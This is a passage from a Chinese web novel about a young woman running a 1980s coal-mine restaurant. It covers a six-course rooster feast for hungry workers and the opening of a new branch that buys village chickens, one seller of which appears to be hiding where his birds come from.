大公鸡垂死挣扎,呼扇了两下翅膀,鸡毛和尘土齐飞,呛得围观群众直掉过脸咳嗽。 杨东风不仅毫无察觉,还笑得露出两排小白牙。 但贺明珠没收,干脆利落地朝后退了一步, “我有同意过你点菜吗?” “换句话说,我有答应过帮你做菜吗?” 杨东风一呆。 好像……似乎……大概……确实没说过要帮他们做菜…… 周围的饕餮们也集体呆滞,视线缓缓从贺明珠移到了大公鸡。 不会吧,这鸡难道白买了吗? 不要啊啊啊啊—— 似乎察觉到人类的目光,大公鸡又扑腾了两下,这次连爪子也用上了,杨东风差 点失手没抓稳。 他急中生智,问贺明珠:“明珠妹妹,你要怎么才肯帮我们把这只鸡做成菜呢?” 贺明珠抱臂,好整以暇地说:“你求我啊。” 杨东风当机立断:“求你了!” 听到这话,旁边的贺明军露出一言难尽的表情。 饶是他早就知道这小子为了吃毫无底线,听到这话也不由得嘴角抽搐。 喂喂喂,拿出你分矿头一个大学生的风范好吗? 贺明珠也没想到这家伙一点面子都不要,清了清嗓子,说:“我还有件事要你帮忙,不白忙,事办成了我请你吃大餐。” 杨东风犹豫了一下,问道:“办成了吃大餐——那现在还有得吃吗?” 贺明珠爽快地说:“当然!别说是一鸡三吃了,一鸡六吃都行!” 杨东风一手高高举起大公鸡,振臂一呼道:“兄弟们,我们进去一起吃鸡!” 饕餮们集体欢呼,乌泱泱地冲进了新店里,迅速抢占座位。 孙向前和梁志胜都看呆了,对视一眼,孙向前不确定地开口问道:“那只鸡……好像还没杀完吧……” 各位矿工大哥们,你们就没发现大公鸡不仅还活着,还活得很好吗??? 不管是一鸡三吃还是一鸡六吃,首先要先有鸡可吃吧! 人类进化到如今,不是为了茹毛饮血,活吃生鸡啊! 梁志胜一撸袖子,站起来就上:“我会杀鸡,让我来!” 折腾了半天,等这只大公鸡终于被送上西天时,已经到了分矿下午上班的时间点。 饕餮们赶着回去上班,午饭就简简单单一人来了一大海碗的面条。 面是现做的手擀面,面粉里加了粗粮,吃起来口感粗粝而筋道,饱腹感很强。 汤底是猪骨熬的,鲜美醇香,不见一滴油,却带有浓郁的肉香味。 面臊子是用剩下的猪头肉做的,有肥有瘦,吃起来膏腴肥润,满口留香。 画龙点睛的一笔是贺明珠自制的油辣子,多种辣椒磨成粉,按不同比例混合,滚烫的热油浇上去,刺啦一声,激发出鲜辣刺鼻的辣椒香气。 面里少少地放上一勺辣子,就能辣的人满头大汗,一边涕泪横流,一边忍不住一吃再吃。 饕餮们抱着碗埋头苦吃,一时间店内只能听到吸溜吸溜的吃面声,还有被辣到后的嘶哈吸气声。 贺明军还在桌子上放了几瓣蒜,任他们自取。 俗话说得好,吃面不就蒜,滋味少一半。 有人喜欢这一口,吃一口蒜再吃一口面,一顿饭吃完痛痛快快出了一身汗,临出门时还在说: “我就说得来分店这儿吃饭,要是在食堂,哪能吃得这么畅快又舒心?” 其他人纷纷附和,光是这碗面,这一趟就不虚此行了。 杨东风珍惜地喝完了碗里最后一滴汤,痛快地打了个饱嗝儿,这才站起身来。 临出门前,他恋恋不舍地冲贺明珠喊道:“明珠妹妹,别忘了我的鸡!” 贺明军不爽:“这小子怎么总喊你妹妹,他还想当你哥不成?” 他怂恿贺明珠:“要不我们把这只鸡吃了吧,我再到村里买一只公鸡还给他们,让这帮饭桶自己回家吃去。” 贺明珠:…… 徐和平跟着撺掇:“好主意,咱们等下就把这只鸡做了吧!” 贺明珠:“……二哥,和平鸽,你们是忘了吗,这是饭店,是开门做生意的。” 贺明军尴尬挠头:“哈,哈哈,被这帮家伙一闹,还真有些想不起来了呢。” 徐和平转移话题,开始收拾桌上的碗筷:“这帮家伙,吃得还真够干净的啊……欸,你们俩怎么还在这儿啊?不回家吗?” 梁志胜带着孙向前,浑水摸鱼又混了一碗面,这会儿是彻底撑得爬不起来了。 孙向前脸皮薄,挣扎着站起来,帮徐和平收拾碗筷。 梁志胜趴在桌子上,腆着脸谄笑:“贺同学,还有两位大哥,晚上那顿一鸡六吃,能不能也让我们尝尝味儿啊?” 贺明军:…… 徐和平:…… 怎么自从贺家开起了饭店,走哪儿都能遇上饭桶啊? 贺明珠说:“这你得问问杨东风他们的意见,毕竟鸡是他们买的。” 梁志胜忙说:“我和杨哥说了,他们答应让我们俩来吃饭,摊饭钱就行。” 贺明珠“哦”了一声,又说道:“他们答应了就行,不过我这边还有一点意见——” 梁志胜追问:“什么意见?” 贺明珠笑眯眯地说:“你得先把鸡毛都拔干净了。” 梁志胜惨叫一声:“怎么又是我……” 大公鸡被拔干净了毛,光溜溜地躺在案板上,黄色的鸡皮、淡红的鸡肉,看着就很好吃。 贺明珠拿起菜刀,轻轻切开鸡腹,薄薄的一层鸡油露了出来。 这只鸡是正经的农村走地鸡,吃虫子草籽长大,每天在村里四处溜达,锻炼得肌肉紧实,身材匀称而矫健。 后世的鸡肉大多是来自于笼养的速成白羽鸡,从破壳到上餐桌只要四十五天。 笼养鸡吃饲料长大,与走地鸡相比,体格肥大,锻炼不足,脂肪含量相对更高。 虽然口味上差了点,但这种鸡能让绝大多数人吃得起鸡肉,和优点相比,缺点也不算什么。 不过论起“鸡有鸡味”,还是农村走地鸡吃起来更香。 贺明珠操着菜刀,将这只大公鸡拆分成小块,鸡头鸡脖鸡爪通通斩下来,开膛取鸡杂,只剩没头没爪的西装鸡,再拆下鸡翅鸡腿。 她一边拆鸡,一边不住赞叹,这只鸡可真不赖! 也不知那帮饕餮是怎么选的鸡,鸡肉紧实有弹性,肉质细腻,薄薄一层鸡油分布匀称,哪怕是随便拿白水煮一煮,蘸酱油都好吃。 ——贺明珠不知道的是,不是因为饕餮们会选鸡,而是因为他们足够傻。 饕餮们进村后随便敲开一户的门,嚷嚷着要买鸡,精明的村民一眼就看出这是一群四体不勤五谷不分的城里人,以每斤一块钱的高价,把家里最大的一只鸡卖给了这帮小青工。 要知道,这年头一斤猪肉才一块五毛钱。 饕餮们连毛带皮地买了一只活鸡,算下来鸡肉的单价比猪肉都要贵。 但有句俗话说得好,傻人有傻福,老天疼憨人。 傻子们虽然买了只天价贵鸡,但好歹这鸡长得好,凭本事让自己勉强称得上物有所值。 当饕餮们踩点下班奔向分店时,大老远地就闻到一股浓郁的鸡肉香味。 太香了,店外蹲了好几只大黄中黄小黄,口水滴答,不舍得离开。 杨东风一马当先,撒着欢冲进了店内。 “明珠妹妹,我来吃鸡了!” 贺明军意味不明地看了这小子一眼,啧了一声,说:“坐,人来齐了就上菜。” 杨东风急切道:“不用等了,我来了就算人齐,咱们先上菜吧!” 晚了一步的饕餮们接二连三涌进店内,正好听到了这句话。 有人上去就勒住杨东风的脖子,说:“你小子胆儿肥了,还想吃独食?” “杨东风,你是不是忘了这鸡可是我们大伙儿一起买的?” 还有人说:“明军儿,待会儿别给这家伙上筷子!” 贺明军欢乐地应了一声:“哎,没问题!” 杨东风求饶:“兄弟们,我错了,我真错了,等下我自罚三碗……” 围观的孙向前听出不对。 “是自罚三杯吧?哪有人自罚三碗的?” 梁志胜一针见血:“他想趁机多吃!” 徐和平说:“小老板不许店内饮酒,他就算想自罚三杯,店里面除了白开水也没有让他喝的。” 饕餮们也听出了问题,大伙儿互相一对眼神,几个人抬手抬脚地就将杨东风抬了起来,吵吵嚷嚷出了店门,直冲店外最大的那棵树。 遥遥的,外面传来一声杨东风的惨叫。 “啊,我的鸡——” 店内几个男人听到这一声,下意识就夹紧了双腿。 啧,听起来就很痛。 贺明珠听到声音从厨房出来时,饕餮们嘻嘻哈哈进了店,杨东风落在最后,一瘸一拐地挪进了门。 她不确定地问他:“你还好吗?” 杨东风双目含泪,坚强地说:“我很好,明珠妹妹,鸡肉做好了吗?” 鸡肉当然已经做好了。 一盘接一盘的菜,流水般从厨房里送了出来。 第一道菜是卤鸡零件。 鸡脖鸡爪加鸡翅,一共是五块,先到先得。 杨东风眼疾手快抢到了只鸡爪,二话不说赶紧往嘴里塞。 这鸡爪在卤汤里泡了一下午,吃透了咸香浓郁的卤水,肉质饱满,软烂入味。 牙齿叼住轻轻一撕,富含胶原蛋白的鸡爪肉就落入口中,软糯与弹性同时存在,口感奇妙极了。 吃掉表面那层皮肉 ,就露出了包裹在骨头上的筋和掌中宝。 这可是鸡爪上的精华,特别是掌中宝,脆嫩而有嚼劲,Q弹可口,吃起来咯吱作响,是鸡身上独一无二的好吃又好玩的特殊部位。 没抢到鸡零件的其他人看到杨东风不说话,全神贯注地啃鸡爪,噗噗噗往外吐鸡骨头。 另外几个人的吃相和杨东风也差不多,其中抢到鸡翅的家伙,嫌吐骨头麻烦,竟然咯嘣咯嘣把鸡骨头嚼着吃了。 有人问他咬得动吗,这位仁兄憨厚一笑:“鸡翅卤到位了,骨头软得很,一咬就碎。而且啊,这骨头特别香,里面全是卤汁,越嚼越香。嘿嘿,吃完了还想吃。” 大伙儿再看他那张憨厚的脸,怎么看怎么觉得这家伙分明是满脸的炫耀。 幸好下一道菜端了上来。 这道是麻辣鸡丝,用的是从鸡身上取下来的鸡胸肉。 鸡胸肉焯水后撕成细丝,加酱油耗油白糖五香粉等调料腌制。上桌前起锅烧油,油热后下入鸡丝,反复翻炒直至鸡丝变色,再加入花椒辣椒,出锅前撒上孜然和白芝麻。 鸡丝吃透了花椒的麻味和辣椒的辣味,又加上了孜然的辛香和白糖的微甜,吃起来咸甜麻辣。 都说吃口咸的再吃口甜的可以无限循环吃下去,这一道菜有咸又有甜,还有吃得舌尖酥麻、脸蛋滚烫的麻辣味儿,自成一体化的咸甜永动机。 饕餮们都快抢疯了,顾不上青工友谊兄弟感情,筷子使得如兵器,在饭桌上来了一场华山论剑。 “我先夹到的!” “你已经吃了好几筷子了,该论我了!” “谁刚刚打了我一下?” “这是我筷子,别夹错了!” 孙向前举着筷子目瞪口呆,还是梁志胜抢了一筷子鸡丝,给他分了一半。 “好学生,别磨蹭了,再不吃就没有了!” 贺明军闲云野鹤地远远站着,瞧着那边桌子上的一团乱象,闲闲地感叹了一句: “不就是道炒鸡丝么,至于抢成这个德行吗?” 徐和平侧目:“小老板都给你开了小灶,你当然不用抢啊。” 贺明军得意一笑,左手端着碗,右手用两根手指捻起一撮鸡丝,悠悠哉哉送到嘴边。 “没办法,命好,谁让爹妈给我生了个好妹妹呢~” 徐和平趁他不注意,从他碗里捞了一大把鸡丝,囫囵地塞进嘴里。 贺明军急了,哎哎哎地制止他,徐和平含糊不清地说:“这是奖金,这个月外派的奖金!” 下一道菜是炒鸡杂。 鸡心鸡肝鸡胗鸡肫鸡胃鸡肠等一整套鸡内脏通通洗干净后切细,热油猛火翻炒,再放入泡姜泡椒泡萝卜,一顿爆炒后,带着浓烈的酸辣香味出锅。 鸡杂甫一上桌就引发众人争抢,筷子打架都打出了残影。 鸡心的韧,鸡胗的嫩,鸡肝的酥,鸡肠的脆,每一筷都是不可预料的惊喜滋味。 即使是没注意夹到了泡姜,长时间的腌制将姜的辛辣涩口都祛除,留下的是脆爽酸辣的味道,吃起来不下于鸡杂。 这边鸡杂争夺战还没分出胜负,下一道照烧鸡腿又端上了锅。 照烧是日式料理的烹饪手法,八十年代时国内还比较少见,特别是在乌城这个相对封闭的内陆城市,除了抗战时期,基本没来过日本人。 虽然是日式口味,但照烧汁的调制并不算难,使用酱油、蜂蜜、料酒等厨房现有的调味料也能调出照烧汁。 两只硕大的鸡腿剔掉骨头,将鸡皮一面朝下,放入油锅中小火煎制,待到两面煎得金黄时,再倒入调好的照烧汁。 汤汁收干,出锅的照烧鸡腿斩成块状,放入盘中。 鸡腿肉裹着浓浓的照烧汁,表面油亮有光泽,有着焦糖般的诱人棕色,看着就让人食欲大开。 饕餮们还是第一次吃照烧鸡腿,顾不上欣赏,先抢了一筷子,送入口中时,才被这种陌生而美味的新鲜口味而惊到。 “这个鸡肉怎么吃起来是这个味道啊?” “不好吃?不好吃你给我,我吃!” “去去去,少和我抢,盘子里的肉足够大伙儿一人分一块了。” “我倒是觉得挺好吃的,有点甜还有点咸,和以前吃过的红烧鸡、炖鸡都不一样。” 有人问贺明珠:“小老板,这个菜叫什么名字?” 贺明珠说:“这道菜叫照烧鸡腿,用的是日本人吃的照烧汁,全乌城也没几个人吃过。” 其他人听了就乐:“今天没白来,还吃上日本菜了,回去我得和他们好好炫耀炫耀。” “我再来一块!刚刚没品出味儿!” “别抢别抢,鸡腿肉都没了,再抢盘子要翻了!” “这盘子里还有汁呢,不行你拿个馒头蘸一蘸得了。” 还真有人喊:“明军儿,给我来个馒头!” 贺明军没好气地说:“没馒头,窝窝头要不要?” “要!” 杨东风吃得嘴边都是浓稠的照烧汁,他顾不上擦,掰着指头开始数已经上了的菜。 卤鸡零件、麻辣鸡丝、爆炒鸡杂,还有刚上的照烧鸡腿。 按一鸡六吃的话,现在已经上了四道菜,还差两道菜没上。 前四道菜用常见的鸡肉做出了不常见的美味,或卤香或麻辣,或酸辣或甜咸,吃得让人恨不得连舌头也一并吞下去,鸡身上的部位没有一个地方被浪费。 杨东风不由得对最后两道菜好奇起来。 算下来,现在还有鸡架和除了鸡胸肉以外的其他部位的鸡肉还没用到,这两个部分能做成什么菜呢? 煎、烤、炒、炖、炸,贺明珠会用到哪种烹饪手法呢? 在众人的望眼欲穿中,徐和平端着盘子从厨房出来。 这,这是…… 杨东风目瞪口呆地看着放在桌上的新菜,其他人也和他一样震惊,一时间竟没人动筷子。 那只大公鸡身上能切出来这么大块的肉吗?! 盘中豪横地摆着一摞金黄色的炸鸡肉,扁平的形状,酥而不焦,散发着诱人的油香味儿。 明珠妹妹也太厉害了吧,用一只鸡这怎么能做出这么多炸鸡肉的? 杨东风怀着敬畏的心情,伸手拿起一块炸鸡肉,其他人也跟着去拿,盘子很快就空了。 他将炸鸡肉送到口边,轻轻咬了一口,有些惊喜,又有些意外地挑起眉毛。 这个口感…… 一口咬下去,外壳酥脆,内里细嫩,吃起来咸香适口,还带着一丝的甜味,让人回味无穷。 这年头的油很珍贵,每个人每个月只有五两油的配额,只有逢年过节的时候才能吃到油炸的食物。甚至连油炸的馓子都被看作是难得的营养品,只有病人和孕产妇才能吃。 因此,当吃到油炸鸡肉时,饕餮们被这久违的酥脆口感迷住了。 这道炸鸡肉有着金黄色的诱人外表,脆而不硬,外酥里嫩,吃起来很有层次感。 而丰富的油脂更是让鸡肉的香味上了一个台阶,每一口都能感受到极致的满足感。 当咬碎微硬酥脆外壳时,“咔嚓咔嚓”的声音听起来悦耳极了。 一时间店内没人再说话,饕餮们如同仓鼠似的,抱着大块的炸鸡肉吭哧吭哧地磨牙。 贺明军忍不住问道:“这只鸡上有这么大块的肉吗?” 当时拆鸡的时候他也在厨房,怎么就没发现这只鸡有这么大的潜力呢?这出肉率简直了啊。 贺明珠轻声地说:“当然没有。” 贺明军转头看她,惊讶道:“那你是怎么做出这一盘子的炸鸡肉的?” 贺明珠 狡黠地笑了,如同一只小狐狸。 “谁说这是炸鸡肉?” 贺明军眼睛瞪大了,连着旁边偷听的徐和平都忍不住开口:“小老板,你不会是拿猪肉冒充的吧?猪肉可比鸡肉贵多了,这样做要亏本的。” 贺明珠一昂下巴:“我是会做赔本生意的人吗?” 这道菜说简单也简单,说难也难。 简单是因为用的食材都是厨房常见的,没有需要通过特殊渠道购买或经过复杂程序自制的;难则是因为做法是后世的发明,现在还没人想到这道菜, 这一盘子所谓的炸鸡肉如果放到现代,小学生都能认出来,还顺便会求家长买上两块。 是的,让饕餮们吃得不亦乐乎的是街头美食、夜市常客——炸鸡排。 一只鸡切掉鸡脖鸡爪鸡翅鸡腿后,取下剩下部分的全部鸡肉,特别是两块鸡胸肉,全部剁成细茸(话说这一步时贺明珠格外想念绞肉机),加入面粉,和成面团后,切成一块一块的剂子,用擀面杖擀圆。 将吃剩下的馒头切碎,放入锅中无油翻炒,直至馒头里的水分被烤干,一捏就脆,做成面包糠(或者说馒头糠?) 擀好的圆饼沾一层面包糠,放出油锅中小火慢炸,炸至两面金黄后出锅,热腾腾的鸡排就做好了。 只用一只鸡身上的肉就能做出一大盘鸡排,吃起来与鸡肉的口感相近,但又不是纯肉,某种程度上满足了人们长期以来想吃炸肉吃到爽的渴望。 饕餮们并不知道鸡排的秘密,只觉太好吃了,老板太牛逼了,用一只鸡就能做出一桌子的菜,吃得这帮饭桶满足得直傻乐。 这还不算完,最后一道菜端上桌,是鸡架子熬成的金黄色鸡汤,里面下入了干香菇。 干香菇吃透了汤汁,舒展开来,散发出浓郁的香味,隔着老远就能闻到。 吃饱了的饕餮们终于找回来餐桌礼仪,也找回了兄弟情谊,亲亲热热地互相递碗盛汤。 “来来来,热乎乎的鸡汤,都喝一碗。” “吃饱了的再溜溜缝,汤不占地方,都喝都喝。” “唔,这汤香,一点都不油,好喝!” 放下喝空了的汤碗,杨东风最后长长叹了口气,逡巡了一遍满桌的空盘。 一鸡六吃,这只大公鸡死得其所啊。 第86章 第86章真假走地鸡 煤矿人家在分矿的新店开业了! 这个消息迅速在分矿职工中蔓延开来,引发众人热议。 “真在分矿开店了?怪不得我上周去一矿吃饭时,店里的厨子换成了个老头,原来那个小年轻服务员也不见了,原来是都到分矿这边了。” “太好了,以后什么时候想吃就什么时候去,再也不用等休息日了!” “分矿这边这么偏,厨子不会干一半就跑路了吧?” “放心,厨子就是贺家的,跑了谁也跑不了他!” “哎,说起来有人去新店吃过吗?和一矿的老店比起来什么样?” “我去过,好吃!上了好几道新菜,连一矿那边都没有。” “欸,这么说的话,那我必须得去尝尝了。有人中午一起去吗?” “我要去!” “走的时候叫上我,我也去!” 新店第一天开业,来吃饭的客人就挤满了大瓦房,屋子里站不下,不少人堵在了门口。 脑子灵活的人跑去周围的农户家借几条板凳,碗盘放在板凳上,自己则蹲在地上吃饭。 周围人见状,也急忙去敲附近农户的门,纷纷借来大大小小的板凳桌椅。 幸好新店外面的空地够大,这才放得下这么多的人。乍一看,简直像高峰期的大排档。 陈大路小心端着两只大碗,千辛万苦从人堆中挤出来,一边走一边喊: “让一让,让一让,小心烫……” 见陈大路回来,他的同伴连忙把挎包从占着的位置上挪开,就取菜的这一小会儿工夫,好几拨人要坐这个空座位,小小的两人座差点没保住。 幸好他们一下班就奔向了煤矿人家的分店,一秒都没耽误,不然肯定抢不到这张两人桌。 陈大路放下碗,一屁股坐在位置上,擦了擦脑门上的汗,喘着气说:“人可真多!没想到赶着开业第一天来吃饭的人会这么多。” 同伴附和道:“这新店瞧着比一矿老店还宽敞,吃饭的位置也多,就这都不够来的人坐。不过说起来,新店的座位也真奇怪,以前还没见过这么摆桌子的。要是有人想在饭店请客,一张桌上最多才能坐四个人。” 陈大路环视一圈,煤矿人家的这家新店确实古怪。 没有常见的大圆桌,也没有八仙桌,靠窗摆着一排单人座,靠墙摆着两排双人座,只有中间一排是四人座,两侧都是过道,还不能增加座位。 他怎么瞧着,这像是不欢迎在店里请客摆宴席的意思啊? 不过新店的椅子坐起来还挺舒服的,流线型的椅背和坐垫,高度刚刚好,体感很舒适,他还是第一次坐这种椅子。 桌椅的颜色也好,明亮而自然,浅色的桌子上有无污渍都看得一清二楚,让人吃起来更舒心。 特别是在这种他有座位而别人没有的情况下,坐下来的感觉似乎都变得更好了,嘿嘿~ 陈大路招呼同伴:“来来来,先吃,等下饭要凉了。” 说罢,他率先捧起自己的那碗饭,将上面那块散发着诱人色泽的棕色鸡块夹了起来。 点菜的时候服务员说这叫什么照烧鸡腿饭,没听过的名字,不过点的人还挺多,听着有鸡腿还有饭,他就随大流也点了这个。 鸡腿肉甫一入口,陈大路惊讶地瞪大了眼睛。 这个味道……甜中带咸,咸中带甜,加上鸡腿的肉香和酱汁的浓郁,吃起来有种奇异的口感,似乎味蕾都在为这种前所未见的滋味而兴奋。 带着甜味的肉吗? 似乎他只在在参加婚宴时吃到过类似口味的糖醋里脊,但那道菜是酸甜口味,和现在的甜咸口味并不相同。 如果是在吃这道菜之前,别人说甜咸口味的鸡腿好吃,他一定嗤之以鼻,只有卤鸡腿和红烧鸡腿才算得上好吃,又甜又咸算是什么滋味,那不把好端端的鸡腿都毁了吗? 可是现在,当陈大路真的吃到这一道甜咸味的鸡腿时,居然是好吃的,让人摸不着脑袋的好吃,超过他所能理解的美味。 陈大路满心都是“这都能好吃”的莫名其妙,同时手里的筷子也没慢下来过, 照烧鸡腿饭用的是二米饭,小米混合大米,一锅蒸出来后如同金银相错,卖相特别漂亮。 这一碗饭不仅好看,口感层次多样,能同时品尝到两种米的香味,越嚼越香。 一大碗的照烧鸡腿饭吃完,陈大路如梦初醒地打了个嗝,时间才过去五分钟。 等位置的人见他的碗空了,凑上来问道:“同志,你吃完了吗?你要是吃完的话,能不能让我坐这儿?” 陈大路忙不迭站起来:“你坐你坐。” 他站在过道上,身边都是来来往往端着菜的人,不同菜色的香气荡荡悠悠地飘到了鼻端。 同伴喊他:“哎,回分矿吗?” 陈大路思考片刻,毅然决然道:“你先回吧,离上班时间还早,我得再吃一顿。” 同伴:“……啊?” 他们不是刚吃完午饭吗? 陈大路已经奔向了收银台,指着小黑板上的菜单对服务员说:“这道炒鸡杂,还有这道炸鸡排,都给我来一份!” 同伴在原地思索片刻,果断追了上去。 “等等,也给我来一份!” 分矿新店生意的红火程度超出所有人的预料,不仅饭点人满为患,理论上属于上班时间的上午和下午,也有不少人来店里吃饭。 贺明军和徐和平简直是连轴转,两人根本没空回一矿家属 区,每天打烊后回到宿舍,倒头就睡。 新来的女服务员从刚开始的手忙脚乱,到现在可以两手举重若轻地各端一摞碗盘,轻松送回后厨。 贺明珠通过村长又在村里招了一位专门洗碗的大婶,不然店里的碗筷都周转不过来。 周末她去分店,贺明军死死抓着她的手,奄奄一息道:“你要是不再招个厨师的话,我立马找块豆腐撞死在你面前……” 作为店里唯一的大厨,贺明军一天到晚蹲在厨房,好好的一个帅哥,现在从头到脚都被菜味烟味腌透了。 以前他出门能引来小姑娘爱慕的眼神,现在出门只能引来饥饿的大黄。 不要啊!再这样下去,他就要彻底变成满脸横肉的伙夫了! 贺明珠嘴角一抽,安慰二哥:“你先别撞豆腐,我招,我马上就招人来轮班!” 背后传来徐和平幽幽的声音。 “我呢?是不是等我拿根粉条吊死在小老板面前,你才能想得起我?” 贺明珠思索片刻,提议道:“要不换成挂面吧?我觉得粉条还是太软了。” 话音未落,身后传来一声重物落地的声音。 徐和平从地上爬起来,咆哮着说:“谁也别拦我!我现在就去找根粉条!” 贺明军:“……有人拦他吗?” 贺明珠:“……好像没有吧。” 店里的新服务员来找贺明珠,用半生不熟的本地普通话告诉她: “小老板,俺爹让俺告诉你,村里的鸡卖得不剩多少了。他让俺问你,店里还收活鸡吗?要是还收,他就去隔壁村问问。” 上次做一鸡六吃时,在喂饱了饕餮们的同时,贺明珠还发现了一个意外之喜——郝家村的鸡养得是真不赖。 土生土长的走地鸡,每天早上撒出去自己觅食,晚上溜溜达达回鸡窝睡觉。 这群走地鸡生活规律,锻炼得当,不仅身材匀称体脂率低,而且吃起来肉质紧实,滋味鲜美,不知甩出饲料鸡几百条街。 贺明珠看中了村里人自家养的走地鸡,加上现在天气一日比一日热,从肉联厂拉来的棒骨存不了多长时间,分店这边缺少做荤菜的食材,索性直接从本地买鸡肉。 她托郝村长在村里收购活鸡,每斤的价格比收购站要高五分钱,随卖随收,不挑大小。 收购活鸡的消息一传出来,村里沸腾了。 郝家村的农田少且贫瘠,地势高低起伏不平,还被夹在了两座山之间,发展农业没有优势。 按理说靠山吃山靠水吃水,郝家村的人种地没条件,还可以靠着山来谋生。 可偏偏两座山都是石头山,上面只有薄薄一层土壤,长着野草和矮小的灌木丛,山上的动物也只有野兔,根本谈不上靠山吃山。 在发现煤矿前,郝家村是一个被遗忘的贫穷小山村。 如今矿务局开始开采郝家村附近的煤矿,并派来了大批工人来开发建设分矿。 一潭死水似的郝家村像是被投入了一颗石子,终于荡漾起波纹,一圈接着一圈,全村人都感受到了新出现的变化。 最开始是有分矿的工人来村里小卖部买东西,虽然人不多,但也给枯燥的日子增添了一点新鲜。 接着是有人租下了村里空置的三间大瓦房。 从租房开始,村里寡淡的生活像是被按下了快捷键。 先是工业券换木头,然后是招服务员,接下来是招小工装修饭店,现在又是收购活鸡。 这一波波的新鲜事,不仅给村人们增加了许多谈资,还带来不少实实在在的好处。 最先拿木头换工业券的那家,给小闺女买了一辆自行车,以后她去镇上中学上学时,再也不用半夜摸黑走十里山路了。 村里的寡妇把丈夫生前留给儿子结婚用的木头一口气全拿去换了工业券,现下从县里商店买了台缝纫机回来,在分矿门口摆了个摊,每天帮工人缝缝补补,挣点钱买肉吃,眼见她那儿子的小脸都变圆乎了。 还有村里几个游手好闲的小青年,不知怎么地就被饭店厨子拉去当小工,虽然累得苦哈哈的,但也没空在村里生事,还挣了笔小钱,做人也比之前规矩,看着顺眼多了。 现在饭店又放出收购活鸡的消息,村里各家各户都养了鸡,闻讯后纷纷送鸡上门,老板来者不拒,通通收下。 鸡太多一时吃不完,老板还排了个表,今天收郝大家的鸡,明天收郝二家的鸡,后天收郝三家的鸡……以此类推,若是哪家的鸡在排队过程中挂了,就递推到下一家。 为了自家的鸡在被收购时能再重上几斤,多卖出一点钱,这段时间村里人疯狂喂鸡,连平时不舍得给鸡多吃的玉米粒、稻谷都是一大把一大把地喂。 农村小孩懂事早,知道大人赚钱不容易,便自发自觉地出去抓虫子挖蚯蚓,带回来给自家鸡加餐。 如此一来,当活鸡送到饭店时,比之前圆润了一大圈,走动间露出两只肥美大腿,简直是行走的香喷喷大鸡腿。 分矿新店这边的所有荤菜的原材料都换成了鸡肉,卤鸡爪、炒鸡杂、烧鸡腿、炸鸡排、炖鸡汤……鸡身上的每一块肉都没浪费。 就连拔下来的鸡毛都装了好几麻袋,卖给收鸡毛的小贩又是一笔小钱。 分矿的人也吃得很香,抬头再看看价目表,感觉口中的鸡肉更好吃了。 鸡肉本就比猪肉的价格低,而这种直接从村民手中收购的鸡肉,没有了中间商赚差价,比副食品店里售卖的价格还要便宜许多。 矿务局的人听说煤矿人家新开分店的特色菜是全鸡宴,从鸡头到鸡爪,就连鸡血都能做出一道菜。 为了这一口鸡肉,有的人特地坐了一个多小时的公交赶到分店这边,就为了尝尝全鸡宴是不是和传闻中一样好吃。 结果,吃过的人还想再吃,没吃过的人也想试试,活脱脱的黄鼠狼进村。 不断用来的顾客使得分店的客流量一直居高不下,翻桌率高到同行不敢相信的夸张地步。 也因此,店里的鸡肉消耗量直线上升,很快就吃光了郝家村的鸡,连原本要留着抱窝的老母鸡都没剩下。 一时间,郝家村早上甚至都听不到公鸡打鸣的声音,鸡犬相闻只剩犬。 村人们赚了一大笔钱,对着空空荡荡的鸡窝丝毫没有惆怅,反而纷纷在自家炕上孵起了鸡蛋,准备再养一窝鸡来卖钱。 这养鸡的钱赚得比种地容易多了,活计轻巧,还不累人。 当其他人还在从头开始孵鸡蛋、养小鸡时,村里有人另辟蹊径,想要走条捷径。 “宝根,你赶着车这是要往哪儿去?” “三大爷,俺去胡家湾走亲戚。” 说话的是一个黑瘦的农村小伙,浓眉小眼,一笑就露出一口牙,看着一副没心计的模样。 三大爷说:“胡家湾可远了,你路上小心点儿,离那运煤的大车远点儿。” 郝宝根说:“三大爷你就放心吧,俺晚上就回来了。” 他赶着驴车去了二十公里外的胡家湾,来到了一户亲戚家。空车进去,半响后,满满当当地载着箩筐出来。 箩筐上盖了破布,从外面看不清里面装的是什么东西,只能听到里面传来“咯咯哒哒”的声音。 郝宝根回村时天已经黑了,各家各户都在自家屋子里休息,偶尔传来几声犬吠。 他绕过村口,从村尾进村,悄咪咪回到了自家院子。 第二天,郝宝根提着两只鸡去了村口的饭店,进了门就问:“老板们,你们店还收活鸡吗?” 徐和平闻声出来,看了眼就说:“收,你等等,我去取秤。” 店里的鸡肉快用完了,正愁要怎么办呢,就有人送鸡上门,这可真是久旱逢甘霖。 女服务员也走出来,在围裙上抹了抹湿漉漉的双手,看到地上的两只鸡,她惊讶地问郝宝根: “宝根,你从哪儿弄来的鸡?村里的鸡不是都卖光了吗?俺爹都替老板去隔壁村买鸡了。” 郝宝根嘿嘿一笑:“俺家鸡养的多,卖了些,家里还有呢。” 女服务员怀疑道:“你家不就你自己吗?你连狗都养不活,谁帮你养鸡?” 郝宝根只傻笑着不说话,女服务员也不好说什么,蹲下去仔仔细细检查他带过来的两只鸡。 见两只鸡都是眼睛光亮有神,羽毛平滑整齐,鸡冠肉髯红润温暖,腿脚也很有力,看起来很健康,她 这才站起了身。 “秤来了!谁帮我把鸡绑到秤上?” 徐和平的声音由远及近,从后院一路传到前厅。 郝宝根急忙拎着两只鸡迎上去,徐和平忙道:“哎哎哎,别进来,弄得店里都是鸡毛!” 郝宝根讪笑着退出来,双手将鸡递给徐和平, 称重后,徐和平收下了鸡,给他结了现钱。 郝宝根放下两只鸡,高兴地拿着钱走了。 徐和平吹着口哨去杀鸡,他现在做这个已经很熟练了,一手抓鸡,一手握刀,在鸡脖子上轻轻一抹,立刻搞定。 女服务员拿着盆帮忙接鸡血,犹豫了一会儿,对徐和平说:“和平哥,刚刚卖鸡的郝宝根是俺们村的孤儿。” 徐和平不解:“孤儿?孤儿怎么了?你们村不让孤儿卖鸡?还是咱们店不能收孤儿家的鸡?” 他就是孤儿,特别听不得有人说孤儿的坏话,说话的语气都不对了。 见他误会了,女服务员急忙解释:“不是不是,是宝根家就他一个人,他们家没人帮他养鸡。” 徐和平把断了气的鸡举得离自己远了点儿,问道:“你的意思是,这鸡有问题?” 女服务员实诚地说:“没有,这两只鸡都是好鸡。” 徐和平无所谓地说:“嗨,那不就得了,鸡没问题就行,管他是谁卖的鸡呢。行了,你赶紧去烧壶热水,把鸡毛都褪了,中午急着要用呢。” 女服务员只好闭嘴,按他的吩咐去烧热水。 过了两天,郝宝根又带着两只鸡来到分店。 这次是贺明军在店里,他检查一遍,见鸡没问题,就干脆利落地称重付钱。 